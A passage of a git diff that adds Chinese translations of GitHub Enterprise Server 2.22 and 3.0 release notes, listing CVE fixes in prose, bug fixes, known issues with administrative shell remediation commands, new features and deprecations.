中发现了一个不适当的访问控制漏洞,该漏洞允许经过身份验证的实例用户在未经适当授权的情况下修改拉取请求的维护员协作权限。通过利用此漏洞,攻击者将能够访问在他们作为维护员的存储库上打开的拉取请求的头部分支。对于组织拥有的专用存储库,默认禁用分支,这样可以防止此漏洞。此外,分支保护(如所需的拉取请求审查或状态检查)将防止未经授权的提交在未进行进一步审查或验证的情况下合并。此漏洞编号为 CVE-2021-22863。此问题通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告。' + - '**高:**在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的远程代码执行漏洞。GitHub Pages 使用的基础分析程序的用户控制配置没有受到足够的限制,因此可以在 GitHub Enterprise Server 实例上执行命令。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。该漏洞编号为 CVE-2020-10519,通过 [GitHub Bug 赏金计划](https://bounty.github.com/)报告。' + - '**中:**来自 GitHub Pages 构建的 GitHub 令牌最终可能会出现在日志中。' + - '**低:**对 SVN 桥的专门制定请求可能会触发长时间的等待,然后失败,再导致拒绝服务 (DoS)。' + - '包已更新到最新的安全版本。' + bugs: + - '在某些情况下,负载均衡器运行状况检查可能导致 babld 日志全是有关代理协议的错误。' + - '在 GitHub Enterprise 备份实用程序快照期间,信息性消息被无意中记录为错误,这导致侦听 stderr 输出的 cron 作业在安排备份时发送不必要的电子邮件。' + - '在还原大型备份时,与 Redis 内存耗尽相关的异常记录可能导致还原因磁盘已满而失败。' + - '首次设置新实例时,如果选择“配置为副本”,则无法开始复制。' + - '启用 GitHub Actions 时,在管理控制台中禁用维护模式失败。' + - '用户在编辑 wiki 页面时,如果单击“保存”按钮,可能会遇到 500 错误。' + - '使用主题替代名称中具有多个名称的证书的 S/MIME 签名提交将在提交提示标记中错误地显示为“未验证”。' + - '已暂停的用户在添加到团队时会收到电子邮件。' + - '用户在配置了 LDAP 身份验证的实例上执行 git 操作时会看到 500 错误。' + - '`remove_org_member_package_access` 后台作业在管理控制台中可见,并将不断增加。' + - '当存储库具有大量清单时,“见解”->“依赖项关系图”选项卡上会显示错误“已达到此存储库允许的最大清单文件数(20)”。有关详细信息,请参阅[可视化限制](https://docs.github.com/en/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies#are-there-limits-which-affect-the-dependency-graph-data)。' + - '上传与之前许可证文件不同席位数的新许可证文件时,企业帐户的“设置”->“许可证”页面中不会正确表示席位差异。' + - '无法成功启用或禁用企业帐户设置中的“防止存储库管理员更改匿名 Git 读取访问权限”复选框。' + - 'GitHub Pages 构建失败时,电子邮件通知包含了错误的支持位置链接。' + - '在闰年,用户在尝试在星期一查看贡献活动时收到 404 响应。' + changes: + - '添加了对 [AWS EC2 r5b 实例类型](https://aws.amazon.com/about-aws/whats-new/2020/12/introducing-new-amazon-ec2-r5b-instances-feuring-60-gbps-of-ebbandwidth-260K-iops/)的支持。' + - '调整后台队列优先级,以更均匀地分配作业。' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。' + - '在升级期间不会维护自定义防火墙规则。' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。' + - |用户可能会遇到资产问题,例如头像未加载,或推送/拉取代码失败。这可能是由于 `haproxy-cluster-proxy` 服务中的 PID 不匹配造成的。若要确定实例是否受到影响: + + + +**单实例** + + + +1.在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行以下内容: + + + + ``` + + if [ $(cat /var/run/haproxy-cluster-proxy.pid) -ne $(systemctl show --property MainPID --value haproxy-cluster-proxy) ]; then echo ''Main PID of haproxy-cluster-proxy does not match /var/run/haproxy-cluster-proxy.pid''; fi + + ``` + + + +2.如果显示不匹配,请重启实例。 + + + +**群集或高可用性配置** + + + +1.在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行以下内容: + + + + ``` + + ghe-cluster-each -- ''if [ $(cat /var/run/haproxy-cluster-proxy.pid) -ne $(systemctl show --property MainPID --value haproxy-cluster-proxy) ]; then echo ''Main PID of haproxy-cluster-proxy does not match /var/run/haproxy-cluster-proxy.pid''; fi'' + + ``` + + + +2.如果显示一个或多个节点受到影响,请重启受影响的节点。 + +| + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/8.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/8.yml new file mode 100644 index 0000000000..be6376495c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/8.yml @@ -0,0 +1,58 @@ +date: '2021-03-16' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 在多个地方复制了系统日志。 + - 站点管理员在尝试查看从专用存储库引用的问题时,可能会出现 500 错误页面。 + - 从 GitHub Enterprise Server 导入缺少存储库文件的存储库存档将失败并报告错误。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - |用户可能会遇到资产问题,例如头像未加载,或推送/拉取代码失败。这可能是由于 `haproxy-cluster-proxy` 服务中的 PID 不匹配造成的。若要确定实例是否受到影响: + + + +**单实例** + + + +1.在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行以下内容: + + + + ``` + + if [ $(cat /var/run/haproxy-cluster-proxy.pid) -ne $(systemctl show --property MainPID --value haproxy-cluster-proxy) ]; then echo ''Main PID of haproxy-cluster-proxy does not match /var/run/haproxy-cluster-proxy.pid''; fi + + ``` + + + +2.如果显示不匹配,请重启实例。 + + + +**群集或高可用性配置** + + + +1.在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行以下内容: + + + + ``` + + ghe-cluster-each -- ''if [ $(cat /var/run/haproxy-cluster-proxy.pid) -ne $(systemctl show --property MainPID --value haproxy-cluster-proxy) ]; then echo ''Main PID of haproxy-cluster-proxy does not match /var/run/haproxy-cluster-proxy.pid''; fi'' + + ``` + + + +2.如果显示一个或多个节点受到影响,请重启受影响的节点。 + +| + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/9.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/9.yml new file mode 100644 index 0000000000..3736dd7982 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/9.yml @@ -0,0 +1,40 @@ +date: '2021-03-23' +intro: 由于影响多个客户的重大错误,已禁用下载。修复程序将在下一个修补程序中提供。 +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的远程代码执行漏洞。GitHub Pages 使用的用户控制配置选项没有受到足够的限制,因此可以替代导致在 GitHub Enterprise Server 实例上执行代码的环境变量。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。此漏洞影响 3.0.3 之前的所有 GitHub Enterprise Server 版本,并在 3.0.3, 2.22.9 和 2.21.17 中得到了修复。此漏洞通过 GitHub Bug Bounty 计划报告并已指定编号 CVE-2021-22864。' + - 包已更新到最新的安全版本。 + bugs: + - 运行 `ghe-cluster-config-init` 可能会使群集无法操作。 + - 系统可能会失去 HAProxy PID 的跟踪。 + - Mysql-failover 警告在成功故障转移后无限期显示。 + - "`ghe-cluster-config-init` 运行未完全考虑后台作业的退出代码,导致预检检查的处理不当。" + - 存储库的“设置”页面左侧导航中没有显示“安全与分析”链接。 + - 禁用 GitHub Packages 后,一些组织页面会返回 HTTP 500 错误响应。 + changes: + - 通过执行 GitHub Enterprise Server 3.0 中的相同重启策略,提高 nomad 服务的可靠性。 + - 即使有几个节点关闭,对 consul 和 nomad `bootstrap_expect` 使用相对编号也允许群集 bootstrap。 + - 除时间外,日志还会根据大小轮换。 + - 已将 kafka lite 添加到 `ghe-cluster-status` 命令。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - |日志轮换可能无法通知服务转换到新的日志文件,从而导致继续使用旧的日志文件,并最终导致根磁盘空间耗尽。 + +要补救和/或防止此问题,请在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) 中运行以下命令(SSH),或联系 [GitHub Enterprise 支持](https://support.github.com/contact)寻求帮助: + + + +``` + +printf "PATH=/usr/local/sbin:/usr/local/bin:/usr/local/share/enterprise:/usr/sbin:/usr/bin:/sbin:/bin\n29,59 * * * * root /usr/sbin/logrotate /etc/logrotate.conf\n" | sudo sponge /etc/cron.d/logrotate + +sudo /usr/sbin/logrotate -f /etc/logrotate.conf + +``` + +| + - '当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc1.yml new file mode 100644 index 0000000000..f6bc03f21e --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc1.yml @@ -0,0 +1,25 @@ +date: '2021-01-12' +release_candidate: true +deprecated: true +intro: "应在非生产环境中测试候选发布版。有关候选发布计划的更多信息,请参阅 [GitHub 博客](https://github.blog/2020-12-03-improving-the-ghes-release-process-release-candidates/)或“[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)”。" +sections: + bugs: + - 已更改几个日志文件的格式,包括为不同的日志类型添加了一个 PID。此更改不会影响 GitHub Enterprise Support 使用支持包来解决问题的方法。 + - 对 Web 挂钩配置 API 的 PATCH 请求不再清除 Web 挂钩机密。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 候选发布版 1 不支持群集模式。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.blog/2016-02-18-upload-files-to-your-repositories/)被错误地直接添加到存储库。" + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 在尝试设置 Actions 未成功后,如果禁用 Actions,你将无法创建第一个用户,也无法使用设备 + - 未保存“必要消息已查看”审核日志事件 + - '第一次设置时必须在副本上运行 `ghe-config-apply`,然后才可运行 `ghe-repl-setup` 以开始复制。' + - 备份工具可能会触发向管理员发送不必要的电子邮件 + - 在“组织成员”视图页面中显示不正确的 Packages 设置 + - 删除作为企业所有者的自己后,你将被重定向到 404 页面。操作成功。 + - '`ghe-config-apply` 偶尔失败,并出现“错误: 等待 nomad 作业应用失败”,直到 Nomad 作业队列被清除。此问题目前需要以管理员身份删除 `/etc/nomad-jobs/queue`。' + - 在配置多个副本节点时,副本的状态可能会错误同步。 + - 尝试将 3.0 备份还原到新实例的客户不应预先配置实例,因为它可能导致用户登录状态不佳。建议恢复到全新的未配置实例。 + - GitHub Enterprise Server 3.0 候选发布版尚未在 Azure 市场中提供。要在过渡环境中测试候选发布版,请启动 2.21 或 2.22 实例,然后在下载页面上使用 Azure 升级软件包进行。 + - 映像和升级包下载大小已增加。Internet 连接速度较慢的客户可能会发现下载软件包需要更长的时间。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc2.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc2.yml new file mode 100644 index 0000000000..d3e33bd456 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/0-rc2.yml @@ -0,0 +1,24 @@ +date: '2021-01-29' +release_candidate: true +deprecated: true +intro: "应在非生产环境中测试候选发布版。有关候选发布计划的更多信息,请参阅 [GitHub 博客](https://github.blog/2020-12-03-improving-the-ghes-release-process-release-candidates/)或“[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)”。" +sections: + bugs: + - heading: 修复候选发布 1 中的已知问题 + notes: + - 如果在尝试设置 GitHub Actions 失败后禁用 GitHub Actions,则无法创建第一个用户,也无法使用该设备。 + - 未保存“必要消息已查看”审核日志事件。 + - '初次设置时,需要在副本上运行 `ghe-config-apply`,然后才可运行 `ghe-repl-setup` 以开始复制。' + - 删除作为企业所有者的自己将返回 404。 + - heading: 其他问题的修复 + notes: + - 迁移和升级到 3.0.0 的问题已修复。 + - 备份实用程序版本控制现在适用于候选发布版本。 + - 生成支持包导致业务流程协调程序日志中出现错误。 + - 大型还原可能会导致 Redis 运行内存不足。 + - 现在,使用任何身份验证方法都可以看到管理控制台中启用 GitHub Actions 的复选框。 + - 仅在配置了所需存储时才可启用 GitHub Actions。 + - '如果未配置 MSSQL 复制,`ghe-repl-status` 可能会失败而不出现提示。' + + known_issues: + - 候选发布 1 的已知问题仍然适用,不包括列出的 Bug 修复。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/0.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/0.yml new file mode 100644 index 0000000000..57b7117b43 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/0.yml @@ -0,0 +1,197 @@ +date: '2021-02-16' +intro: "对于 {% data variables.product.prodname_ghe_server %} 3.0+,最低基础设施要求已经增加。有关详细信息,请参阅“[关于 GitHub Enterprise Server 3.0 及更高版本的最低要求](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)”。" +sections: + security_fixes: + - '**高:**生成 {% data variables.product.prodname_pages %} 站点时,在 {% data variables.product.prodname_ghe_server %} 中发现了一个可以利用的远程代码执行漏洞。{% data variables.product.prodname_pages %} 使用的基础分析器的用户控制配置没有受到足够的限制,因此可以在 {% data variables.product.prodname_ghe_server %} 实例上执行命令。若要利用此漏洞,攻击者需要获得在 {% data variables.product.prodname_ghe_server %} 实例上创建和生成 {% data variables.product.prodname_pages %} 站点的权限。该漏洞编号为 CVE-2020-10519,通过 [GitHub Bug 赏金计划](https://bounty.github.com/) 进行报告。' + features: + - heading: GitHub 操作 + notes: + - |[{% data variables.product.prodname_actions %}](https://github.com/features/actions) 现在一般可用于 {% data variables.product.prodname_ghe_server %} 3.0+ 版本。根据 {% data variables.product.prodname_dotcom %} 生成、测试和部署代码。以你希望的方式提交代码评审、分支管理和问题分类工作。 + + + +此版本包括来自 {% data variables.product.prodname_ghe_server %} 上 {% data variables.product.prodname_actions %} 的 Beta 版的多项改进: + + + +- 企业、组织和存储库管理员可以创建安全策略用于访问 {% data variables.product.prodname_dotcom_the_website %} 上的 {% data variables.product.prodname_actions %}。 + +- 企业、组织和存储库管理员可以允许公共存储库使用自托管运行器。 + +- 企业、组织和存储库管理员现在可以允许工作流[在由专用存储库的分支引发的拉取请求上运行](/enterprise-server@3.0/github/setting-up-and-managing-organizations-and-teams/disabling -or-limiting-github-actions-for-your-organization#enabling-workflows-for-private-repository-forks)。 + +- `workflow_run` 事件[现在受支持](/enterprise-server@3.0/actions/reference/events-that-trigger-workflows#workflow_run) + +- 用户现在可以[禁用工作流并在以后启用它们](/enterprise-server@3.0/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)。 + +- 工作流日志已得到增强,以提供[更好的用户体验](/enterprise-server@3.0/actions/managing-workflow-runs/using-workflow-run-logs)。 + +- 用户现在可以在容器作业和服务中使用专用映像。 + +- [项目和日志的最长保留天数现在可以自定义](/enterprise-server@3.0/github/setting-up-and-managing-your-enterprise/configuring-the-retention-period-for-github-actions -artifacts-and-logs-in-your-enterprise-account)。 + +- 运行器组 API 现在包括[标签](/enterprise-server@3.0/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)。 + +- 现在可以使用带有撰写运行步骤的 shell 脚本创建可重用操作。 + +- [组织的加密机密](/enterprise-server@3.0/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization) 允许你跨存储库整合机密。 + +- [组织的工作流模板](/enterprise-server@3.0/actions/learn-github-actions/sharing-workflows-with-your-organization) 简化并促进整个组织的最佳做法和一致性。 + + + +使用群集配置的企业目前不支持 {% data variables.product.prodname_actions %}。 + +| + - heading: GitHub 包 + notes: + - |[{% data variables.product.prodname_registry %}](https://github.com/features/packages) 是一个包托管服务,与 GitHub API、Actions 和 Webhook 原生集成。创建一个包含你的代码、持续集成和部署解决方案的[端到端 DevOps 工作流](/enterprise/3.0/admin/packages/configuring-packages-support-for-your-enterprise)。 + + + +支持的存储后端包括 AWS S3 和 MinIO,未来版本将支持 Azure blob。请注意,当前的 Docker 支持将在下一个版本中被新的 GitHub 容器注册表的 beta 版本所取代。在打开 {% data variables.product.prodname_registry %} 之前,请查看[更新的平台最低要求](/enterprise/3.0/admin/installation/setting-up-a-github-enterprise-server-instance)。 + + + +将包发布到 NuGet 时,用户现在可以使用 `--api-key` 选项传递他们的身份验证令牌,而不是将其写入文件。有关详细信息,请参阅[配置 dotnet CLI 以与 GitHub 包一起使用](/enterprise-server@3.0/packages/guides/configuring-dotnet-cli-for-use-with-github-packages#publishing-a-package) + + + +使用群集配置的企业目前不支持 {% data variables.product.prodname_registry %}。 + +| + - heading: GitHub Mobile beta 版本 + notes: + - |[{% data variables.product.prodname_mobile %}](https://github.com/features/) beta 版本允许你对通知进行分类、管理问题并从设备拉取请求。可以使用 {% data variables.product.prodname_dotcom_the_website %} 上的一个用户帐户和 {% data variables.product.prodname_ghe_server %} 上的一个用户帐户同时登录移动版。 + + + +{% data variables.product.prodname_mobile %} beta 版本现在可用于 {% data variables.product.prodname_ghe_server %}。通过我们的 [Android](https://play.google.com/store/apps/details?id=com.github.android) 和 [iOS](https://apps.apple.com/app/github/id1477376905) 应用登录,随时随地对通知进行分类、管理问题和拉取请求。管理员可以使用管理控制台或运行 `ghe-config app.mobile.enabled false` 来禁用其企业的移动支持。 + +| + - heading: 高级安全机密扫描 beta 版本 + notes: + - |[机密扫描 beta 版本](https://github.com/features/security) 扫描公共和专用存储库以获取已提交的凭据,寻找机密,并在将它们提交到存储库时通知机密提供者或管理员。 + + + +使用 {% data variables.product.prodname_GH_advanced_security %} 的管理员可以[启用和配置](/enterprise-server@3.0/admin/configuration/configuring-secret-scanning-for-your-appliance) {% data variables.product.prodname_GH_advanced_security %} 机密扫描。可以在打开 {% data variables.product.prodname_GH_advanced_security %} 机密扫描之前查看[更新的平台最低要求](/enterprise/3.0/admin/installation/setting-up-a-github-enterprise-server-instance)。 + +| + - heading: 高级安全代码扫描 + notes: + - |[GitHub 高级安全代码扫描](https://github.com/features/security) 现在在 GitHub Enterprise Server 上普遍可用。购买了高级安全的组织可以使用此功能对其代码进行静态分析安全测试,并使用我们的语义分析引擎 CodeQL 防止漏洞进入其生产代码。有关详细信息,请参阅“[在设备上配置代码扫描](/en/enterprise-server@3.0/admin/configuration/configuring-code-scanning-for-your-appliance#running-code-scanning-using-github-actions)” + +| + changes: + - heading: 管理更改 + notes: + - "Webhook 事件传递系统已重新设计,以提高吞吐量、加快传送速度和减少延迟消息。它还在 {% data variables.product.prodname_ghe_server %} 3.0+ 中占用更少的 CPU 和内存。" + - "组织和企业所有者现在可以通过新的 `team.promote_maintainer` 和 `team.demote_maintainer` 审核日志事件在审核日志中查看团队成员何时被提升为团队维护者或从团队维护者降级。有关详细信息,请参阅“[已审核的操作](/enterprise-server@3.0/admin/user-management/audited-actions)”。" + - "拥有现有 {% data variables.product.prodname_pages %} 站点的存储库维护者可以[轻松更新其先前的默认分支名称](/enterprise-server@3.0/github/working-with-github-pages/about-github-pages#publishing -sources-for-github-pages-sites)。" + - "在启用任何操作、包或高级安全的情况下运行 {% data variables.product.prodname_ghe_server %} 需要额外的硬件资源。有关每个受支持平台所需的最低资源的详细信息,请参阅“[设置 {% data variables.product.prodname_ghe_server %} 实例](/enterprise-server@3.0/admin/installation/setting-up-a-github-enterprise-server-instance)”。" + - "管理员现在可以[发布消息](/enterprise-server@3.0/admin/user-management/customizing-user-messages-for-your-enterprise),该消息所有用户都必须接收。这可以帮助加入新用户并显示其他特定于组织的信息和策略。" + + - heading: 安全更改 + notes: + - "组织所有者现在可以禁止从组织中的存储库发布 {% data variables.product.prodname_pages %} 站点。为组织禁用 {% data variables.product.prodname_pages %} 将阻止成员创建新主页站点,但不会取消发布现有站点。有关详细信息,请参阅“[禁止为组织发布 {% data variables.product.prodname_pages %} 站点](/enterprise-server@3.0/github/setting-up-and-managing-organizations-and-teams/disabling -publication-of-github-pages-sites-for-your-organization)”。" + - 在启用活动副本之前,必须在所有节点上明确定义数据中心。 + - SSH 指纹的所有使用情况已切换为使用 SHA256 指纹,因为从版本 6.8 开始它们也与 OpenSSH 一起使用。这适用于 Web 界面以及返回指纹的 API,例如在 GraphQL 中。指纹遵循 OpenSSH 格式。 + - 在 Webhook 上发送 SHA-1 和 SHA-256 签名标头(两个标头)。 + + - heading: 开发人员更改 + notes: + - "在 {% data variables.product.prodname_ghe_server %} 3.0+ 中运行的大多数服务现在都在容器上,这使得 GitHub 能够在内部快速循环访问并发布高质量的版本" + - Webhook 事件传递系统已重新设计,以提高吞吐量、加快传送速度和减少延迟消息。 + + - heading: API 更改 + notes: + - "管理员现在可以通过 REST API 配置和管理站点范围的公告横幅。有关详细信息,请参阅“[GitHub Enterprise 管理](/enterprise-server@3.0/rest/reference/enterprise-admin#annoucements)”的终结点。" + - "新的 API 终结点支持为特定存储库范围内的用户到服务器令牌交换用户到服务器令牌。有关详细信息,请参阅 {% data variables.product.prodname_dotcom %} REST API 文档中的“[应用](/enterprise-server@3.0/rest/reference/apps#create-a-scoped-access-token)”。" + + - heading: 默认分支重命名 + notes: + - |企业和组织管理员现在可以为新存储库设置默认分支名称。企业管理员还可以在所有组织中强制执行他们选择的默认分支名称,或者允许各个组织选择他们自己的分支名称。 + + + +现有存储库不受这些设置的影响,并且它们的默认分支名称不会更改。 + + + +{% note %} + + + +新创建的存储库的默认分支将在 GHES 3.1 中设置为 `main`,除非你通过在企业级别设置默认分支设置来选择退出。 + + + +{% endnote %} + + + +此更改是 GitHub 为支持项目和希望重命名其默认分支的维护者所做的众多更改之一。若要了解有关我们正在进行的更改的更多信息,请参阅 [github/重命名](https://github.com/github/renaming)。 + +| + bugs: + - heading: 修复候选发布中的已知问题 + notes: + - 候选发布 1 和候选发布 2 中的所有已知问题均已修复,但下面的“已知问题”部分中列出的问题除外。 + - heading: 其他问题的修复 + notes: + - 迁移和升级到 3.0.0 的问题已经修复。 + - 备份实用工具版本控制现在适用于候选发布版本。 + - 生成支持包导致业务流程协调程序日志中出现错误。 + - 大型还原可能会导致 Redis 运行内存不足。 + - 现在,任何身份验证方法与在管理控制台中启用 GitHub Actions 的复选框一起显示。 + - 如果还配置了所需的存储,则可以启用 GitHub Actions。 + - '如果未配置 MSSQL 复制,`ghe-repl-status` 可能会失败并不出现提示。' + - 几个日志文件的格式发生了更改,更改包括为不同的日志类型添加了一个 PID。此更改不会影响 GitHub Enterprise Support 使用支持包来解决问题。 + - 对 Webhook 配置 API 的 PATCH 请求不再删除 Webhook 机密。 + - 某些类型的预接收挂钩失败。 + - '包 NuGet 服务现在规范化发布时的语义版本。NuGet 客户端无法下载无效的语义版本(例如:v1.0.0.0.0.0),因此 NuGet 服务应规范化这些版本(例如:v1.0.0.0.0.0 --> v1.0.0)。`verbatimVersion` 字段中将提供任何原始的、非规范化的版本。无需更改客户端配置。' + + known_issues: + - "在没有任何用户的新设置的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.blog/2016-02-18-upload-files-to-your-repositories/)文件被错误地直接添加到存储库。" + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "启用维护模式后,某些服务会继续列为“活动进程”。确定的服务预计将在维护模式期间运行。如果遇到此问题并且不确定,请联系 {% data variables.contact.contact_ent_support %}。" + - 启用 GitHub Actions 后,使用 “`ghe-maintenance -u`”取消设置维护模式。 + - '重复记录到 `/var/log/messages`、`/var/log/syslog` 和 `/var/log/user.log` 将提高根卷利用率。' + - 用户无需选中所有复选框即可关闭强制消息。 + - '[预接收挂钩脚本](/admin/policies/enforcing-policy-with-pre-receive-hooks)无法写入临时文件,可能会导致脚本执行失败。使用预接收挂钩的用户应在过渡环境中进行测试,以查看脚本是否需要写入权限。' + - "存储库[部署密钥](/developers/overview/managing-deploy-keys)无法与包含 LFS 对象的存储库一起使用。" + - 如果笔记本包含非 ASCII UTF-8 字符,则 Web UI 中的 Jupyter 笔记本渲染可能会失败。 + - Web UI 中的 reStructuredText (RST) 渲染可能会失败,并显示原始 RST 标记文本。 + - 依赖关系图无法分析 `setup.py` Python 清单文件,导致日志中出现 HTTP 500 错误。这与重复的日志记录问题相结合,导致根卷利用率提高。 + - 争用条件可能导致依赖关系图数据库迁移失败。 + - 从早期版本的 GitHub Enterprise Server 升级的具有自定义时区的实例可能在 Web UI 中具有不正确的时间戳。 + - Pages 的旧版本未清理,可能会填充用户磁盘 (`/data/user/`)。 + - 在合并拉取请求后删除分支时,尽管分支删除成功,但仍会出现错误消息。 + - "当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 + + deprecations: + - heading: 弃用 GitHub Enterprise Server 2.19 + notes: + - '**{% data variables.product.prodname_ghe_server %} 2.19 自 2020 年 11 月 12 日起弃用**。这意味着在此日期之后不会发布任何补丁,即使是针对关键安全问题也是如此。为了提升性能、提高安全性和获得新功能,请尽快[升级到最新版本的 {% data variables.product.prodname_ghe_server %}](https://help.github.com/enterprise/admin/guides/installation/upgrading- github-enterprise/)。' + - heading: 弃用旧版 GitHub App Webhook 事件 + notes: + - "从 {% data variables.product.prodname_ghe_server %} 2.21.0 开始,两个与旧版 GitHub Apps 相关的 Webhook 事件已弃用,并将在 {% data variables.product.prodname_ghe_server %} 3.2.0 中进行删除。已弃用的事件 `integration_installation` 和 `integration_installation_repositories` 具有将受支持的等效事件。[弃用公告博客文章](https://developer.github.com/changes/2020-04-15-replacing-the-installation-and-installation-repositories-events/)中提供了更多信息。" + - heading: 弃用旧版 GitHub Apps 终结点 + notes: + - "从 {% data variables.product.prodname_ghe_server %} 2.21.0 开始,用于创建安装访问令牌的旧版 GitHub Apps 终结点已弃用,并将在 {% data variables.product.prodname_ghe_server %} 3.2.0 中进行删除。 [弃用公告博客文章](https://developer.github.com/changes/2020-04-15-replacing-create-installation-access-token-endpoint/)中提供了更多信息。" + - heading: 弃用 OAuth Application API + notes: + - "GitHub 不再支持包含 `access_token` 作为路径参数的 OAuth 应用程序终结点。我们引入了新的终结点,可通过将 `access_token` 移动到请求正文来安全地管理 OAuth Apps 的令牌。这些终结点虽然已弃用,但在此版本中仍可访问。我们打算在 {% data variables.product.prodname_ghe_server %} 3.4 上删除这些终结点。有关详细信息,请参阅[弃用公告博客文章](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/)。" + - heading: 弃用对符号的支持 + notes: + - 该服务在未广泛使用的拉取请求视图中支持“按符号查找”体验。 + - heading: 工作流命令的弃用 + notes: + - '{% data variables.product.prodname_actions %} `set-env` 和 `add-path` 工作流命令已弃用。有关详细信息,请参阅 [changelog](https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/)。' + + backups: + - '{% data variables.product.prodname_ghe_server %} 3.0 至少需要 [GitHub Enterprise Backup Utilities 3.0.0](https://github.com/github/backup-utils) 用于[备份和灾难恢复](/enterprise-server @3.0/admin/configuration/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/1.yml new file mode 100644 index 0000000000..9b7fa07ce9 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/1.yml @@ -0,0 +1,92 @@ +date: '2021-03-02' +intro: "对于 {% data variables.product.prodname_ghe_server %} 